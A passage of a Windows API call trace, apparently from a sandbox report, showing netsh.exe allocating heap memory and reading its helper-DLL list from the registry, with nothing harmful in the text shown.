Size=0x10) returned 0x3f2da0 [0251.388] GetProcessHeap () returned 0x3d0000 [0251.388] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2dc0 [0251.388] GetProcessHeap () returned 0x3d0000 [0251.388] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2de0 [0251.388] GetProcessHeap () returned 0x3d0000 [0251.388] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2e00 [0251.388] GetProcessHeap () returned 0x3d0000 [0251.388] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2e20 [0251.388] GetProcessHeap () returned 0x3d0000 [0251.388] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2e40 [0251.388] GetProcessHeap () returned 0x3d0000 [0251.388] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2e60 [0251.388] GetProcessHeap () returned 0x3d0000 [0251.388] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2e80 [0251.388] GetProcessHeap () returned 0x3d0000 [0251.388] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2ea0 [0251.388] GetProcessHeap () returned 0x3d0000 [0251.388] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2ec0 [0251.388] GetProcessHeap () returned 0x3d0000 [0251.388] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2ee0 [0251.389] GetProcessHeap () returned 0x3d0000 [0251.389] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2f00 [0251.389] GetProcessHeap () returned 0x3d0000 [0251.389] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2f20 [0251.389] GetProcessHeap () returned 0x3d0000 [0251.389] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2f40 [0251.389] GetProcessHeap () returned 0x3d0000 [0251.389] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2f60 [0251.389] GetProcessHeap () returned 0x3d0000 [0251.389] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2f80 [0251.389] GetProcessHeap () returned 0x3d0000 [0251.389] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f2fe0 [0251.389] GetProcessHeap () returned 0x3d0000 [0251.389] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3000 [0251.389] GetProcessHeap () returned 0x3d0000 [0251.389] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3020 [0251.389] GetProcessHeap () returned 0x3d0000 [0251.389] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3040 [0251.389] GetProcessHeap () returned 0x3d0000 [0251.389] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3060 [0251.389] GetProcessHeap () returned 0x3d0000 [0251.389] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3080 [0251.389] GetProcessHeap () returned 0x3d0000 [0251.389] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f30a0 [0251.389] GetProcessHeap () returned 0x3d0000 [0251.389] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f30c0 [0251.389] GetProcessHeap () returned 0x3d0000 [0251.389] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f30e0 [0251.389] GetProcessHeap () returned 0x3d0000 [0251.389] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3100 [0251.389] GetProcessHeap () returned 0x3d0000 [0251.389] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3120 [0251.390] GetProcessHeap () returned 0x3d0000 [0251.390] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3140 [0251.390] GetProcessHeap () returned 0x3d0000 [0251.390] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3160 [0251.390] GetProcessHeap () returned 0x3d0000 [0251.390] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3180 [0251.390] GetProcessHeap () returned 0x3d0000 [0251.390] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f31a0 [0251.390] GetProcessHeap () returned 0x3d0000 [0251.390] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f31c0 [0251.390] GetProcessHeap () returned 0x3d0000 [0251.390] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f31e0 [0251.390] GetProcessHeap () returned 0x3d0000 [0251.390] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3200 [0251.390] GetProcessHeap () returned 0x3d0000 [0251.390] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3220 [0251.390] GetProcessHeap () returned 0x3d0000 [0251.390] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3240 [0251.390] GetProcessHeap () returned 0x3d0000 [0251.390] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3260 [0251.390] GetProcessHeap () returned 0x3d0000 [0251.390] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3280 [0251.390] GetProcessHeap () returned 0x3d0000 [0251.390] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f32a0 [0251.390] GetProcessHeap () returned 0x3d0000 [0251.390] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f32c0 [0251.390] GetProcessHeap () returned 0x3d0000 [0251.390] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f32e0 [0251.390] GetProcessHeap () returned 0x3d0000 [0251.390] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3300 [0251.390] GetProcessHeap () returned 0x3d0000 [0251.390] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3320 [0251.390] GetProcessHeap () returned 0x3d0000 [0251.391] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3340 [0251.391] GetProcessHeap () returned 0x3d0000 [0251.391] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3360 [0251.391] GetProcessHeap () returned 0x3d0000 [0251.391] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3380 [0251.391] GetProcessHeap () returned 0x3d0000 [0251.391] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f33a0 [0251.391] GetProcessHeap () returned 0x3d0000 [0251.391] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f33c0 [0251.391] GetProcessHeap () returned 0x3d0000 [0251.391] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f33e0 [0251.391] GetProcessHeap () returned 0x3d0000 [0251.391] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3400 [0251.391] GetProcessHeap () returned 0x3d0000 [0251.391] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3420 [0251.391] GetProcessHeap () returned 0x3d0000 [0251.391] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3440 [0251.391] GetProcessHeap () returned 0x3d0000 [0251.391] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3460 [0251.391] GetProcessHeap () returned 0x3d0000 [0251.391] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3480 [0251.391] GetProcessHeap () returned 0x3d0000 [0251.391] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f34a0 [0251.391] GetProcessHeap () returned 0x3d0000 [0251.391] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f34c0 [0251.391] GetProcessHeap () returned 0x3d0000 [0251.391] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f34e0 [0251.391] GetProcessHeap () returned 0x3d0000 [0251.391] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3500 [0251.391] GetProcessHeap () returned 0x3d0000 [0251.391] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3520 [0251.391] GetProcessHeap () returned 0x3d0000 [0251.391] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3540 [0251.391] GetProcessHeap () returned 0x3d0000 [0251.391] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3560 [0251.391] GetProcessHeap () returned 0x3d0000 [0251.392] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3580 [0251.392] GetProcessHeap () returned 0x3d0000 [0251.392] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f35a0 [0251.392] GetProcessHeap () returned 0x3d0000 [0251.392] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f35c0 [0251.392] GetProcessHeap () returned 0x3d0000 [0251.392] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f35e0 [0251.392] GetProcessHeap () returned 0x3d0000 [0251.392] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3600 [0251.392] GetProcessHeap () returned 0x3d0000 [0251.392] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3620 [0251.392] GetProcessHeap () returned 0x3d0000 [0251.392] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3640 [0251.392] GetProcessHeap () returned 0x3d0000 [0251.392] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3660 [0251.392] GetProcessHeap () returned 0x3d0000 [0251.392] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3680 [0251.392] GetProcessHeap () returned 0x3d0000 [0251.392] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f36a0 [0251.392] GetProcessHeap () returned 0x3d0000 [0251.392] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f36c0 [0251.392] GetProcessHeap () returned 0x3d0000 [0251.392] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f36e0 [0251.392] GetProcessHeap () returned 0x3d0000 [0251.392] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3700 [0251.392] GetProcessHeap () returned 0x3d0000 [0251.392] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3720 [0251.392] GetProcessHeap () returned 0x3d0000 [0251.392] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3740 [0251.392] GetProcessHeap () returned 0x3d0000 [0251.392] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3760 [0251.392] GetProcessHeap () returned 0x3d0000 [0251.392] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3780 [0251.392] GetProcessHeap () returned 0x3d0000 [0251.392] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f37e0 [0251.392] GetProcessHeap () returned 0x3d0000 [0251.392] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3800 [0251.393] GetProcessHeap () returned 0x3d0000 [0251.393] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3820 [0251.393] GetProcessHeap () returned 0x3d0000 [0251.393] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3840 [0251.393] GetProcessHeap () returned 0x3d0000 [0251.393] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3860 [0251.393] GetProcessHeap () returned 0x3d0000 [0251.393] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3880 [0251.393] GetProcessHeap () returned 0x3d0000 [0251.393] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f38a0 [0251.393] GetProcessHeap () returned 0x3d0000 [0251.393] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f38c0 [0251.393] GetProcessHeap () returned 0x3d0000 [0251.393] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f38e0 [0251.393] GetProcessHeap () returned 0x3d0000 [0251.393] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3900 [0251.393] GetProcessHeap () returned 0x3d0000 [0251.393] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3920 [0251.393] GetProcessHeap () returned 0x3d0000 [0251.393] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3940 [0251.393] GetProcessHeap () returned 0x3d0000 [0251.393] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3960 [0251.393] GetProcessHeap () returned 0x3d0000 [0251.393] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3980 [0251.393] GetProcessHeap () returned 0x3d0000 [0251.393] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f39a0 [0251.393] GetProcessHeap () returned 0x3d0000 [0251.393] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f39c0 [0251.393] GetProcessHeap () returned 0x3d0000 [0251.393] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f39e0 [0251.393] GetProcessHeap () returned 0x3d0000 [0251.393] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3a00 [0251.393] GetProcessHeap () returned 0x3d0000 [0251.393] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3a20 [0251.393] GetProcessHeap () returned 0x3d0000 [0251.393] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3a40 [0251.394] GetProcessHeap () returned 0x3d0000 [0251.394] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3a60 [0251.394] GetProcessHeap () returned 0x3d0000 [0251.394] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3a80 [0251.394] GetProcessHeap () returned 0x3d0000 [0251.394] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3aa0 [0251.394] GetProcessHeap () returned 0x3d0000 [0251.394] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3ac0 [0251.394] GetProcessHeap () returned 0x3d0000 [0251.394] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3ae0 [0251.394] GetProcessHeap () returned 0x3d0000 [0251.394] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3b00 [0251.394] GetProcessHeap () returned 0x3d0000 [0251.394] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3b20 [0251.394] GetProcessHeap () returned 0x3d0000 [0251.394] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3b40 [0251.394] GetProcessHeap () returned 0x3d0000 [0251.394] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3b60 [0251.394] GetProcessHeap () returned 0x3d0000 [0251.394] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3b80 [0251.394] GetProcessHeap () returned 0x3d0000 [0251.394] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3ba0 [0251.394] GetProcessHeap () returned 0x3d0000 [0251.394] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3bc0 [0251.394] GetProcessHeap () returned 0x3d0000 [0251.394] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3be0 [0251.394] GetProcessHeap () returned 0x3d0000 [0251.394] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3c00 [0251.394] GetProcessHeap () returned 0x3d0000 [0251.394] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3c20 [0251.394] GetProcessHeap () returned 0x3d0000 [0251.394] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3c40 [0251.394] GetProcessHeap () returned 0x3d0000 [0251.394] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3c60 [0251.394] GetProcessHeap () returned 0x3d0000 [0251.394] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3c80 [0251.395] GetProcessHeap () returned 0x3d0000 [0251.395] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3ca0 [0251.395] GetProcessHeap () returned 0x3d0000 [0251.395] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3cc0 [0251.395] GetProcessHeap () returned 0x3d0000 [0251.395] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3ce0 [0251.395] GetProcessHeap () returned 0x3d0000 [0251.395] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3d00 [0251.395] GetProcessHeap () returned 0x3d0000 [0251.395] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3d20 [0251.395] GetProcessHeap () returned 0x3d0000 [0251.395] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3d40 [0251.395] GetProcessHeap () returned 0x3d0000 [0251.395] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3d60 [0251.395] GetProcessHeap () returned 0x3d0000 [0251.395] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3d80 [0251.395] GetProcessHeap () returned 0x3d0000 [0251.395] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3da0 [0251.395] GetProcessHeap () returned 0x3d0000 [0251.395] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3dc0 [0251.395] GetProcessHeap () returned 0x3d0000 [0251.395] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3de0 [0251.395] GetProcessHeap () returned 0x3d0000 [0251.396] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3e00 [0251.396] GetProcessHeap () returned 0x3d0000 [0251.396] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3e20 [0251.396] GetProcessHeap () returned 0x3d0000 [0251.396] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3e40 [0251.396] GetProcessHeap () returned 0x3d0000 [0251.396] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3e60 [0251.396] GetProcessHeap () returned 0x3d0000 [0251.396] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3e80 [0251.396] GetProcessHeap () returned 0x3d0000 [0251.396] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3ea0 [0251.396] GetProcessHeap () returned 0x3d0000 [0251.396] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3ec0 [0251.396] GetProcessHeap () returned 0x3d0000 [0251.396] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3ee0 [0251.396] GetProcessHeap () returned 0x3d0000 [0251.396] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3f00 [0251.396] GetProcessHeap () returned 0x3d0000 [0251.396] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3f20 [0251.396] GetProcessHeap () returned 0x3d0000 [0251.396] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3f40 [0251.396] GetProcessHeap () returned 0x3d0000 [0251.396] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3f60 [0251.396] GetProcessHeap () returned 0x3d0000 [0251.396] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3f80 [0251.396] GetProcessHeap () returned 0x3d0000 [0251.396] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f3fe0 [0251.396] GetProcessHeap () returned 0x3d0000 [0251.397] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f4000 [0251.397] GetProcessHeap () returned 0x3d0000 [0251.397] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f4020 [0251.397] GetProcessHeap () returned 0x3d0000 [0251.397] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f4040 [0251.397] GetProcessHeap () returned 0x3d0000 [0251.397] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f4060 [0251.397] GetProcessHeap () returned 0x3d0000 [0251.397] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f4080 [0251.397] GetProcessHeap () returned 0x3d0000 [0251.397] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f40a0 [0251.397] GetProcessHeap () returned 0x3d0000 [0251.397] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f40c0 [0251.397] GetProcessHeap () returned 0x3d0000 [0251.397] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f40e0 [0251.397] GetProcessHeap () returned 0x3d0000 [0251.397] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f4100 [0251.397] GetProcessHeap () returned 0x3d0000 [0251.397] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f4120 [0251.397] GetProcessHeap () returned 0x3d0000 [0251.397] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f4140 [0251.397] GetProcessHeap () returned 0x3d0000 [0251.397] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f4160 [0251.397] GetProcessHeap () returned 0x3d0000 [0251.397] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f4180 [0251.397] GetProcessHeap () returned 0x3d0000 [0251.397] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f41a0 [0251.397] GetProcessHeap () returned 0x3d0000 [0251.397] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f41c0 [0251.397] GetProcessHeap () returned 0x3d0000 [0251.397] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f41e0 [0251.397] GetProcessHeap () returned 0x3d0000 [0251.397] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f4200 [0251.397] GetProcessHeap () returned 0x3d0000 [0251.397] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3f4220 [0251.398] _wcsicmp (_String1="netsh.exe", _String2="ipxmontr.dll") returned 5 [0251.398] _wcsicmp (_String1="netsh.exe", _String2="ipxpromn.dll") returned 5 [0251.398] GetProcessHeap () returned 0x3d0000 [0251.398] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x28) returned 0x3ee070 [0251.398] GetProcessHeap () returned 0x3d0000 [0251.398] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x2) returned 0x3f47b0 [0251.398] GetProcessHeap () returned 0x3d0000 [0251.398] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x14) returned 0x3f4240 [0251.398] _wcsupr (in: _String="netsh.exe" | out: _String="NETSH.EXE") returned="NETSH.EXE" [0251.398] GetProcessHeap () returned 0x3d0000 [0251.398] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x3d0000) returned 1 [0251.398] GetProcessHeap () returned 0x3d0000 [0251.398] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x58) returned 0x3f47d0 [0251.398] GetProcessHeap () returned 0x3d0000 [0251.398] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x3d0000) returned 1 [0251.398] GetProcessHeap () returned 0x3d0000 [0251.398] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xb0) returned 0x3eeb10 [0251.398] GetProcessHeap () returned 0x3d0000 [0251.398] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f47d0 | out: hHeap=0x3d0000) returned 1 [0251.399] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\NetSh", ulOptions=0x0, samDesired=0x20019, phkResult=0x2477a8 | out: phkResult=0x2477a8*=0x90) returned 0x0 [0251.399] RegQueryInfoKeyW (in: hKey=0x90, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2477d0, lpcbMaxValueNameLen=0x2477e0, lpcbMaxValueLen=0x2477d8, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2477d0*=0x15, lpcbMaxValueNameLen=0x2477e0, lpcbMaxValueLen=0x2477d8, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0251.399] GetProcessHeap () returned 0x3d0000 [0251.399] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x16) returned 0x3f4260 [0251.399] GetProcessHeap () returned 0x3d0000 [0251.399] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x23) returned 0x3ee0a0 [0251.399] RegEnumValueW (in: hKey=0x90, dwIndex=0x0, lpValueName=0x3f4260, lpcchValueName=0x2477a0, lpReserved=0x0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8 | out: lpValueName="4", lpcchValueName=0x2477a0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8) returned 0x0 [0251.399] _wcsicmp (_String1="rasmontr.dll", _String2="ipxmontr.dll") returned 9 [0251.399] _wcsicmp (_String1="rasmontr.dll", _String2="ipxpromn.dll") returned 9 [0251.399] GetProcessHeap () returned 0x3d0000 [0251.399] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x50) returned 0x3f47d0 [0251.399] GetProcessHeap () returned 0x3d0000 [0251.399] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3f4830 [0251.399] GetProcessHeap () returned 0x3d0000 [0251.399] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x1a) returned 0x3ee0d0 [0251.399] _wcsupr (in: _String="rasmontr.dll" | out: _String="RASMONTR.DLL") returned="RASMONTR.DLL" [0251.399] GetProcessHeap () returned 0x3d0000 